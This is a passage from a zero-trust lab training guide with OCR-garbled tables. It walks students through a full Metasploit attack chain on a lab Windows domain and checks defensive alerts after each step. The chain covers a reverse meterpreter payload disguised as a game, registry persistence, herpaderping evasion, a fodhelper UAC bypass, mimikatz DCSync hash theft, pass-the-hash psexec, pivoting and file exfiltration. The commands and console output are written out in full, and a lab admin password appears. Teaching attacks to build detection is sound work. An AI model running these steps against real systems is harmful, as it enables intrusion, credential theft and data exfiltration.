%%%%	6	%%	%%	%	%%%	\$ %%%%	6 %%?	6%	%%	%%	%%	%%%%	6 %%	%%	%%	%%	% :
%%%%	6	%%%	\$%%%	%3	6%	\$%%%%	6 %?	6%%	%%	%	%%%	% %9	6	%%	%%%	%%	% :
%%%%	6%%	%%%	\$%%%	%%%	6%	%%%	6%%	%?	6%	%	%	%9	6 %%	%%	%%%	%	%
%%%%	6%%	%%%	\$%%%	%%%%	6%%%%	\$%%%%	%%%% %	%%% ?	%%% %	%%%	%%%	%%%%%	6%%%%	%%	%%%	%%%	% 3
%%%%	6%%	%%%	\$%%%	%%%%	%%% %	\$%%%%	%%%% %	%%% ?	%%% %	%%%	%%%	%%%%%	%%% %%	%%			5
%%%%	6%%	%%%	\$%%%	%%%%	%%% %	\$%%%%	%%%% %	%%% ?	%%% %	%%%	%%%	%%%%%	%%% %%	%%%	%%%%	%%%	%%
		=[me	tasp	oloit	v6.2	2.9-d	ev]	
+		- = [22	30 e	explo	its -	- 117	7 aı	uxil	iar	у-	398	post]	
+		- = [86	7 pa	iyloa	ids -	45 ei	nco	ders		11	nops]	
+		- = [9	evas	sion]	

Next type and enter: use exploit/multi/handler

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

Now set your payload to the payload that you created.

Type and enter: **set payload windows/x64/meterpreter_reverse_https**

Type and enter: set LHOST [YOURIP]

And and enter: set LPORT 443



Type and enter **show options** and verify the information is correct.

<u>msf6</u> exploit(<pre>msf6 exploit(multi/handler) > show options</pre>				
Module options	s (exploit/multi/h	andler):			
Name Current Setting Required Description					
Payload option	ns (windows/x64/me	terpreter_	reverse_https):		
Name	Current Setting	Required	Description		
EXITFUNC	process	yes	Exit technique (Accepted: '', seh , thread, process, none)		
EXTENSIONS		no	Comma-separate list of extensions		
EXTINIT		no	Initialization strings for extens ions		
LHOST LPORT LURI	10.91.0.21 443	yes yes no	The local listener hostname The local listener port The HTTP Path		

Type and enter **exploit –j** and you should see something similar to the following:

msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://10.91.0.21:443

Ensure you are in the directory of your executable and type and enter: **python3 –m http.server 8080**



You should now be hosting your executable over port 8080 as well as any other folders in that directory so make sure you move your exe to its own folder.

None of this activity is detected nor can be seen by Elastic.

Initial Access, Execution and Command and Control:

In this scenario the attacker told his fellow classmates that he got an awesome game they can play in class and they can download it from http://10.91.0.21:8080.

From your Windows Lab system that you have been using, login as DoD_Admin and open a browser and browse to <u>http://youripaddress:8080</u> and save the executable to your Desktop.





Double click your **payload** and if it prompts you for a confirmation message **click** on **"Run"**.

Next go back to your kali system and you should see something like this:



You now have established a command and control presence in the environment.

In your metasploit window, type and enter sessions -i 1

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

Type "help" for a list of meterpreter options.

Now, go to Elastic **Discover** and look at the **event.module:suricata** again and you should see some malicious metasploit activity and exe downloads.

agent.name: ztlabids agent.type: filebeat agent.version: 7.16.3 destination.address: 10.91.1.22 destination.ip: 10.91.1.22 destination.port: 54967 ecs.version: 1.12.0 event.category: network, intrusion_detection event.created: Nov 9, 2022 0 01:39:55.960 event.dataset: suricata.eve event.ingested: Nov 9, 2022 0 01:39:57.116 event.kind: alert event.original: {"timestamp": '2022-11-09T01:39:51.774956+00000", "flow_id":442574987295888, "in_iface": 'bond0", "event_type": "alert", "src.ip": "10.91.0.21", "src.port":80, "dest_ip": "10.91.1.22", "dest_port":54967, "proto": "TCP", "community_id": "1:k+x8 RX1fcDvQ4u2TilsRvF0h4oQ=", "alert": ("action": "allowed", "gid": 1, "signature_id": 2835480, "rev": 3, "signature": "ET HUNTING PE EXE Download over raw TCP", "category": "Misc activity", "severity": 3, "metadata": ("attack_target":

14 event.module: suricata @timestamp: Nov 8, 2022 @ 22:06:40.314 @version: 1 agent.epheneral_id: 1666bc3f-cedf-476d-8d2b-606c7f06f534 agent.hstname: ztlabids agent.id: a9d540b2-4559-4db6-98ed-2eb65b1a65c1
agent.name: ztlabids agent.type: filebeat agent.version: 7.16.3 destination.address: 10.91.1.22 destination.ip: 10.91.1.22 destination.port: 54870 ecs.version: 1.12.0 event.category: network, intrusion_detection
event.created: Nov 8, 2022 @ 22:06:49.956 event.dataset: suricata.eve event.ingested: Nov 8, 2022 @ 22:06:50.110 event.kind: alert event.original:
{"timestamp":"2022-11-08T22:06:40.314992+0000","flow_id":1627645820313655,"in_iface":"bond0","event_type":"alert","src_ip":"10.91.0.21","src_port":8080,"dest_ip":"10.91.1.22","dest_port":54870,"proto":"TCP","metadata":

{"flowbits":["http.dottedquadhost", "ET.http.binary"]}, "community_id":"1:13cgtJrmJ+mqJ8a5fv5u8602kHM=", "alert":{"action":"allowed", "gid":1, "signature_id":2825644, "rev":1, "signature":"ET MALWARE Possible Metasploit Payload

Suricata detected the activity. Also, look at Security and Alerts and create the filter **event.module:suricata**

You will see activity here as well.

55 a	55 alerts 🗄 Fields 🗏 Col		Fields	I field sorted	Full screen		
	Actio	ons		\downarrow @timestamp \lor	rule.name	Rule ~	Severity
	2	0000	000	Nov 9, 2022 @ 01:44:27.943	ET MALWARE Possible Metasploit Payload Common Constr	A Network Trojan was dete	medium
	2		000	Nov 9, 2022 @ 01:44:27.942	ET HUNTING PE EXE Download over raw TCP	Misc activity	medium
	2	***	000	Nov 9, 2022 @ 01:44:27.942	ET HUNTING PE EXE Download over raw TCP	Misc activity	medium
	2	***	000	Nov 9, 2022 @ 01:44:27.941	ET HUNTING PE EXE Download over raw TCP	Misc activity	medium
	2	***	000	Nov 9, 2022 @ 01:44:27.941	ET HUNTING PE EXE Download over raw TCP	Misc activity	medium
	2	***	000	Nov 8, 2022 @ 22:09:18.282	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic	medium
\square	~		000	Nov 8, 2022 @ 22:09:18.282	ET MALWARE Possible Metasploit Payload Common Constr	A Network Trojan was dete	medium

Persistence:

We are now going to add some persistence with the meterpreter C2 that we have setup.

Type run persistence –U –i 5 –p 80 –r IPADDRESS

```
meterpreter > run persistence -U -i 5 -p 80 -r 10.91.0.21
[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence
[!] Example: run exploit/windows/local/persistence OPTION=value [ ... ]
[*] Running Persistence Script
[*] Resource file for cleanup created at /home/zerotrust/.msf4/logs/persisten
ce/ZTWIN10STUDENT1_20221109.3812/ZTWIN10STUDENT1_20221109.3812.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.91.0.21 LPORT=8
Ø
[*] Persistent agent script is 99651 bytes long
[+] Persistent Script written to C:\Users\DOD_AD~1\AppData\Local\Temp\jYJVACe
dK.vbs
[*] Executing script C:\Users\DOD_AD~1\AppData\Local\Temp\jYJVACedK.vbs
[+] Agent executed with PID 1908
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion
\Run\MUWLaErsNH
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\
Run\MUWLaErsNH
meterpreter >
```

Next type **bg** and **set payload windows/meterpreter/reverse_tcp** and then **set LPORT 80** and finally **exploit –j**



You now have a persistence mechanism that will automatically connect the victim to your system whenever their system reboots.

From the defensive standpoint, open the Security and Alerts tab in Elastic and look at the trend, you should see Malware – Detected Elastic Endgame.



Login to the Endgame server at <u>https://10.91.0.3</u> with the username admin and password ch00\$3tHeR3dP1II!

Take a look at the alerts and see some of the activity that occurred, especially malicious files and process injection.

Defense Evasion:

We saw that our payload was detected by Endgame. Lets try to create something with some evasion techniques.

In your kali box in metasploit type search evasion

msf6 evasion(windows/applocker_evasion_msbuild) > search evasion

Next type use 9 which selects evasion/windows/process_herpaderping



Type options to see a list of options

msf	<u>6</u> evasion(windows	/process_herpaderp	ing) > opt	ions	-5
Mod	ule options (evas	ion/windows/proces	s_herpader	ping):	
	Name	Current Setting	Required	Description	
	ENCODER		no	A specific encoder to use (automatically selected if not set)	
	FILENAME	HjFWGK.exe	yes	Filename for the evasive f ile (default: random)	
	REPLACED_WITH_FI LE	%SystemRoot%\Sys tem32\calc.exe	no	File to replace the target with. If not set, the tar get file will be filled wi	
				th random bytes (WARNING! it is likely to be catched	
	WRITEABLE_DIR	%TEMP%	yes	Where to write the loader on disk	
	EWINI UStudient i		Unass	Nov 5	

Zero Trust Lab Guide

Set your LHOST and LPORT to your IP address and Port 8443 and type exploit



Next type handler -p windows/x64/meterpreter/reverse_tcp -H yourIP -P 8443 -j

msf6 evasion(windows/process_herpaderping) > handler -p windows/x64/meterpret er/reverse_tcp -H 10.91.0.21 -P 8443 -j [*] Payload handler running as background job 5. msf6 evasion(windows/process_herpaderping) > [*] Started reverse TCP handler on 10.91.0.21:8443

You now have a listener setup.

Copy the payload to your exploit directory and call it calc.exe.



Look at your sessions with **sessions –i** and choose one of your 64 bit sessions. **sessions –i** [session #]

<pre>msf6 evasion(windows/process_herpaderping) > sessions -i</pre>					
Active sessions					
Id Name Type	Information massigned	Connection			
1 meterpreter x64/win ZTWINIOStudows 2 meterpreter x64/win dows	n ZT\DoD_Admin @ ZTWIN 10STUDENT1 n ZT\DoD_Admin @ ZTWIN 10STUDENT1	$\begin{array}{c} 10.91.0.21:443 \rightarrow \\ 7.0.0.1 & (10.91.1. \\ 10.91.0.21:443 \rightarrow \\ 7.0.0.1 & (10.91.1. \end{array}$	12 22)/9.2022.2.01.3 12 22)		
3TWIN10Stumeterpreter x86/win dows ZTWIN10Student1	n ZT\DoD_Admin@@ZTWIN 10STUDENT1 Unassigned	10.91.0.21:80 → 91.1.22:54967 (10 .1.22)	10. / 9, 2022 2:01:3 .91 Nov 9, 2022 2:01:2		
<pre>msf6 evasion(windows/process_he [*] Starting interaction with 2</pre>	erpaderping) > sessions 2	-i 2			

Make the C:\test directory and upload your calc.exe there by typing the following commands: **mkdir C:\test** and **upload**

/home/username/Desktop/sploits/calc.exe(this is where calc.exe is located on your system) C:\\test\\calc.exe



Type **shell** and press enter and then type **C:\test\calc.exe** to execute the evasion payload. Note if the shell gets frozen press CTRL + C and type y to terminate channel, next press **bg** to get back to the metasploit menu.



As a defender login to Endgame and look at the threats. You will see a new threat called process doppelganging. This was detected by Endgame but may bypass other AV's.

0 alerts currently selected \checkmark				
ALERT TYPE	EVENT TYPE	ASSIGNEE	<u>05</u>	IP ADDRESS
ADMINISTRATION Injection Platform management	Shellcode Injection	Unassigned	Windows 10 (v1809)	10.91.1.22
Process Injection Detection	Process Doppelganging	Unassigned	Windows 10 (v1809)	10.91.1.22

If you look at Elastic Discover and see the event.module:suricata filter you created before, it may be unable to detect the process herpaderping payload.

Feel free on your own time to experiment with different evasion techniques built into metasploit and other C2 capabilities.

Discovery and Privilege Escalation:

We have elevated permissions, but are unable to run as system due to STIGs being applied based on UAC. Type **getsystem** to try and elevate to system access.

<u>meterpreter</u> > getsystem
[-] priv_elevate_getsystem: Operation failed: 1346 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)

We are going to use discovery techniques to query the local OS for vulnerabilities.

<pre>meterpreter > run post/multi/recon/local_exploit_suggester</pre>	
[*] 10.91.1.22 - Collecting local exploits for x64/windows	
<pre>[*] 10.91.1.22 - 167 exploit checks are being tried</pre>	
[+] 10.91.1.22 - exploit/windows/local/bypassuac_dotnet_profiler: The	target appears to be vulnerable.
[+] 10.91.1.22 - exploit/windows/local/bypassuac_eventvwr: The target	appears to be vulnerable.
[+] 10.91.1.22 H exploit/windows/local/bypassuac_fodhelper: The target	appears to be vulnerable.
[+] 10.91.1.22 - exploit/windows/local/bypassuac_sdclt: The target app	ears to be vulnerable.
[+] 10.91.1.22 - exploit/windows/local/bypassuac_sluihijack: The targe	et appears to be vulnerable.
TUUNIOCudent1	

We are going to use exploit/windows/local/bypassuac_fodhelper

Type **bg** and then type **use exploit/windows/local/bypassuac_fodhelper** and then **show options**

<pre>meterpreter [*] Backgrou msf6 evasion</pre>	> bg nding session 2 (windows/applocks		. msbuild) > use exploit	/windows/local/bypassuac_fodhelper
<pre>[*] No paylo msf6 exploit</pre>	ad configured, de (windows/local/b	efaulting t /passuac_fo	co windows/meterpreter/ odhelper) > show option	'reverse_tcp s
Module optio	ns (exploit/windo	ws/local/t	oypassuac_fodhelper):	
Name	Current Setting	Required	Description	
SESSION	dent)	yes	The session to run thi	s module on
Payload opti	ons (windows/mete	erpreter/re	everse_tcp):	
Name	Current Setting	Required	Description	
EXITFUNC LHOST LPORT	process 10.91.0.21 4444	yes yes yes	Exit technique (Accep The listen address (a The listen port	ted: '', seh, thread, process, none) n interface may be specified)

Type **set session 2** or to your session # you are using and then **exploit** and finally, **get system**. This time it will be successful!

<u>msf6</u> exploit(windows/local/bypassuac_fodhelper) > set session 2 session \Rightarrow 2	NOV 9, 2022 2:20, 12 PM 010.
<pre>msf6 exploit(windows/local/bypassuac_fodhelper) > exploit</pre>	
<pre>[*] Started reverse TCP handler on 10.91.0.21:4444 [*] UAC is Enabled, checking level Unassigned [+] Part of Administrators group! Continuing [+] UAC is set to Default</pre>	
<pre>[+] BypassUAC can bypass this setting, continuing [*] Configuring payload and stager registry keys [*] Executing payload: C:\Windows\system32\cmd.exe /c C:\Windows\System32\c</pre>	32\fodhelper.exe
[*] Meterpreter session 7 opened (10.91.0.21:4444 \rightarrow 10.91.1.22:55254)	at 2022-11-09 14:20:34 +0000
<pre>meterpreter > getsystemgot system via technique 1 (Named Pipe Impersonation (In Memory/Admin meterpreter ></pre>	n)).

As a defender, login to Elastic and look at your suricata alerts again, you will see some EXE payloads and some Metasploit alerts. Also, login to Endgame and look at the alerts there, you should see some process injection alerts. You will see one that shows fodhelper.exe executing some PowerShell.



These actions would have been blocked by Endgame, but it is currently set for detection mode.

Credential Access:

Now that the adversary has gained system level access, they are going to steal credentials. On your kali system, continue where you left off in privilege escalation.

Type load kiwi

Loading extension kiwi
.######. mimikatz 2.2.0 20191125 (x86/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
/ \ ## /*** Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com)
<pre>## \ / ## > http://blog.gentilkiwi.com/mimikatz</pre>
'## v ##' Vincent LE TOUX (vincent.letoux@gmail.com)
'######' > http://pingcastle.com / http://mysmartlogon.com ***/
[!] Loaded x86 Kiwi on an x64 architecture.
Success.

Oh no, we have an x86 shell instead of an x64 shell, so our credential stealing isn't going to work.. lets fix that.

We already have a 64 bit meterpreter payload on the system.. pockettanks.exe

First, type use exploit/multi/handler and then show options



set payload windows/x64/meterpreter_reverse_https to match what we used for pockettanks.exe

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_https
payload ⇒ windows/x64/meterpreter_reverse_https

set LPORT 443 and exploit -j

```
msf6 exploit(multi/handler) > set LPORT 443
LPORT ⇒ 443
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 7.
```

sessions –i 7 [this is the system level access shell] type sessions –i and see which shell is running as system

type shell at the meterpreter prompt



Type C:\Users\DoD_Admin\Desktop\pockettanks.exe

C:\Users\DoD_Admin\Desktop>C:\Users\DoD_Admin\Desktop\pockettanks.exe

You will see different requests show up, but what you want is the below message or something similar with your IP address and session #.

[*] Meterpreter session 8 opened (10.91.0.21:443 → 127.0.0.1) at 2022-11-09 14:35:21 +0000

It may be frozen, so press **CNRL + C** and **y** to terminate. Now type **bg** and **sessions –i 8** [the meterpreter session just created]



Now type load kiwi



Notice there is no error message.

Type creds_all and run hashdump



I received error messages because I believe there is memory protection on the system preventing credential dumping, so lets try another method.

Type shell and then ipconfig /all

```
meterpreter > shell
Process 2656 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.379]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\DoD_Admin\Desktop>ipconfig /all
ipconfig /all
Windows IP Configuration
  Host Name . . . . . . . . . . . : ZTWIN10Student1
  Primary Dns Suffix ..... zt.local
  Node Type . . . . . . . . . . . . . . . Hybrid
IP Routing Enabled. . . . . . . . . No
  WINS Proxy Enabled. . . . . . . . . No
  DNS Suffix Search List. . . . . : zt.local
Ethernet adapter Ethernet1:
  Connection-specific DNS Suffix . :
  Description . . . . . . . . . . . . . . . . . Intel(R) 82574L Gigabit Network Connection #2
  Autoconfiguration Enabled . . . . : Yes
  Link-local IPv6 Address . . . . : fe80::8536:af6f:c5d2:30a0%11(Preferred)
  Default Gateway . . . . . . . . : 10.91.1.1
  : 00-01-00-01-2A-D0-31-13-00-50-56-AF-4C-A7
  DNS Servers . . . . . . . . . . . . 10.91.0.10
  NetBIOS over Tcpip. . . . . . . : Enabled
```

You see the DNS server listed above. This is most likely the Domain Controller. We are going to attempt a DCSync attack to gain the password hash for the DoD_Admin

user that we have shells. Note: a DCSync attack only works if the user is a domain administrator.

Exit the shell by typing exit and then type bg and sessions -i

C:\Users\DoD_Admin\Desktop>exit exit <u>meterpreter</u> > bg [*] Backgrounding session 8 <u>msf6</u> exploit(multi/hamdlox) > sessions -i					
Activ	e sess	ions			
-					
Id	Name	Туре	Information	Connection	
1		meterpreter x64/windows	ZT\DoD Admin @ ZTWIN10STUDENT1	$\frac{1}{10.91.0.21:443} \rightarrow 127.0.0.1 \ (10.91.1.22)$	
2		meterpreter x64/windows	ZT\DoD Admin @ ZTWIN10STUDENT1	$10.91.0.21:443 \rightarrow 127.0.0.1 (10.91.1.22)$	
		meterpreter x86/windows	ZT\DoD_Admin @ ZTWIN10STUDENT1	$10.91.0.21:80 \rightarrow 10.91.1.22:54967 (10.91.1.22)$	
		meterpreter x64/windows	ZT\DoD_Admin @ ZTWIN10STUDENT1	$10.91.0.21:8443 \rightarrow 10.91.1.22:54972$ (10.91.1.22)	
7		meterpreter x86/windows	NT AUTHORITY\SYSTEM @ ZTWIN10STUDENT1	$10.91.0.21:4444 \rightarrow 10.91.1.22:55254 (10.91.1.22)$	
8		meterpreter x64/windows	NT AUTHORITY\SYSTEM @ ZTWIN10STUDENT1	$10.91.0.21:443 \rightarrow 127.0.0.1 \ (10.91.1.22)$	

We want a session running as DoD_Admin that is 64 bit, so we will pick session 1. Type **sessions –i 1** and **load kiwi**



Type dcsync ZT\\DoD_Admin (Remember, you need two \'s)

```
meterpreter > dcsync ZT\\DoD_Admin
[DC] 'zt.local' will be the domain
[DC] 'ZTLabDC1.zt.local' will be the DC server
[DC] 'ZT\DoD_Admin' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : DoD_Admin
** SAM ACCOUNT **
SAM Username : DoD_Admin
User Principal Name : DoD_Admin
Account Type : 3000000 ( USER_OBJECT )
User Account Control : 0000200 ( NORMAL_ACCOUNT )
Account expiration : 1/1/1601 12:00:00 AM
Password last change : 9/29/2022 7:43:16 PM
Object Security ID : S-1-5-21-164135905-3456272681-2582788899-500
Object Relative ID : 500
Credentials:
Hash NTLM: d21b5c501552ab626e3c8cadb06a5a91
```

Congratulations, you successfully stole the NTLM hash from the DoD_Admin account so you can use this in Pass the Hash attacks. This Hash is almost just as good as the password itself.

As a defender, look at Endgame and Elastic again and see if you can identify any of the activity for DC sync. The only alerts that I saw were from the malware execution in Endgame. We now know that we need to spend more time with our rules and create an alert to identify dcsync activity and any other activity we did not identify.

<u>https://www.alteredsecurity.com/post/a-primer-on-dcsync-attack-and-detection</u> has a great explanation on implementing controls to detect DCsync attacks.

Lateral Movement:

We are going to pivot from our victim system to attack the domain controller and gain access with lateral movement techniques.

From your meterpreter console in your same session you gathered the DoD_Admin hash from, type **run autoroute –s 10.91.0.0/16** and **run autoroute –p**

<u>meterpreter</u> > run aut	toroute -s 10.91.0	0.0/16		
<pre>[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [] [*] Adding a route to 10.91.0.0/255.255.0.0 [+] Added route to 10.91.0.0/255.255.0.0 via 10.91.1.22 [*] Use the -p option to list all active routes meterpreter > run autoroute -p</pre>				
<pre>[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value []</pre>				
Active Routing Table				
Subnet	Netmask	Gateway		
 10.91.0.0	255.255.0.0	 Session 1		

What we are doing is that any traffic from metasploit destined to the 10.91.0.0/16 network will be sent through 10.91.1.22 as a pivot point.

Now that we have this setup, we are going to attack another user with the hash we stole.

Type bg and then use exploit/windows/smb/psexec

```
msf6 exploit(multi/handler) > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```
Type show options

<pre>msf6 exploit(windows/smb/psexec) > show options</pre>								
Мо	dule optio	ns (exploit,	/windov	vs/smb/psex	ec):			
	Name		Curre	ent Setting	Required	Description		
	RHOSTS			yes		The target host(s), see https://github.com/rapid7/metasploit-framewor etasploit		
	RPORT 445				ves	The SMB service port (TCP)		
	SERVICE_DESCRIPTION				no	Service description to to be used on target for pretty listing		
	SERVICE_DISPLAY_NAME				no	The service display name		
	SERVICE_NAME				no	The service name		
	SMBDomain .			. no		The Windows domain to use for authentication		
	SMBPass				no	The password for the specified username		
	SMBSHARE				no	The share to connect to, can be an admin share (ADMIN\$,C\$,) or a n		
						te folder share Ten C		
	SMBUser				no	The username to authenticate as		
						Count		
Pa	yload opti	ons (windows	s/metei	preter/rev	erse_tcp):			
	Name Current Setting Required		Description					
		thread			Evit tochni	que (Accentedu !! cob thread process pope)		
	LUOST	10 01 0 21		yes	The lister	address (an interface may be specified)		
	LDORT	4444		Vas	The listen	nort		
ed a Electric Enderma					2/ 20			

set RHOSTS 10.91.1.23

set LPORT 8999

set SMBUser DoD_Admin

set SMBDomain ZT.local

<pre>msf6 exploit(windows/smb/psexec) > set RH0STS 10.91.1.23</pre>
RHOSTS ⇒ 10.91.1.23
<u>msf6</u> exploit(windows/smb/psexec) > set LPORT 8999
LPORT \Rightarrow 8999
<u>msf6</u> exploit(windows/smb/psexec) > set SMBUser DoD_Admin
SMBUser ⇒ DoD_Admin
<u>msf6</u> exploit(windows/smb/psexec) > set SMBDomain ZT.local
SMBDomain ⇒ ZT.local
<u>msf6</u> exploit(windows/smb/psexec) > set SMBPass 00000000000000000000000000000000000
SMBPass ⇒ 0000000000000000000000000000000000
<u>msf6</u> exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 10.91.0.21:8999 via the meterpreter on session 1
[*] 10.91.1.23:445 - Connecting to the server
[*] 10.91.1.23:445 - Authenticating to 10.91.1.23:445 ZT.local as user 'DoD_Admin'
[*] 10.91.1.23:445 - Selecting PowerShell target
[*] 10.91.1.23:445 - Executing the payload
[+] 10.91.1.23:445 - Service start timed out, OK if running a command or non-service executable
[*] Exploit completed, but no session was created.

You are using a pass the hash technique with the hash you stole earlier. This attack was not successful. Lets look at Endgame and see why.

You will see a process injection on the IP address 10.91.1.23.

E ALERT TYPE	EVENT TYPE	ASSIGNEE	<u>20</u>	IP ADDRESS
Process Injection Detection	Shellcode Injection	Unassigned	Windows 10 (v1809)	10.91.1.23

Look in Elastic under the Discover page and see if you see any network traffic from 10.91.1.22 [or your IP address you are using as the victim] to the IP address 10.91.1.23. There isn't any traffic, because you are pivoting to a device on the same subnet as the victim and it doesn't go through the inspection, therefore we are completely bypassing the suricata and zeek detection systems.

) – event.module: suricata ×	destination.ip: 10.91.1.23 ×	source.ip: 10.91.1.22 ×	+ Add filter	
filebeat-* \vee	⇒ ∞∞			
Q Search field names				
Filter by type 0	\sim			
imes Available fields	0			
				No results match your search criteria

This shows the importance of utilizing micro-segmentation techniques to prevent lateral movement from bypassing your tools.

Exfiltration:

The final event will be to exfiltrate a file from the 10.91.1.22 system that you have already compromised.

Type **sessions –i 1** and you should be at a meterpreter prompt



We were told that there is a file stored on this system in the directory C:\secretstuff\flag.txt

Type download C:\\secretstuff\\flag.txt



Next open a separate terminal window and type cat /yourdirectory/flag.txt



The download function of meterpreter allows you to exfiltrate information from the network. Because the file was extremely small, it was not detected. It was also not detected by Endgame.

If you are responsible for defending sensitive information, you should be creating rules to detect and prevent access to sensitive information.

Summary:

These lessons were designed to give the student an idea about common attack methodologies and understand what the Mitre ATT&CK framework is. It is up to the student to take these concepts and use them to harden their environment and develop their SIEM alerting to the point where they are using Zero Trust concepts and can detect and prevent adversarial activity. There are a limitless number of programs or signatures that could be applied to the techniques used by adversaries outlined in Mitre ATT&CK. You want to gain an understanding of the techniques themselves and develop methods to prevent them. Don't focus on trying to stop every piece of malware, focus on what the adversary is doing and also focus on ensuring the Zero Trust Architecture is operating as intended.

7.4 Visibility and Analytics Pillar Lesson 4 (User and Entity Behavior Analytics) (Future Course)

Future Course

7.5 Visibility and Analytics Pillar Lesson 5 (Threat Intelligence) (Future Course)

Future Course

7.6 Visibility and Analytics Pillar Lesson 6 (Dynamic Policy Creation with ML/Al/Anomaly Detection) (Future Course)

Future Course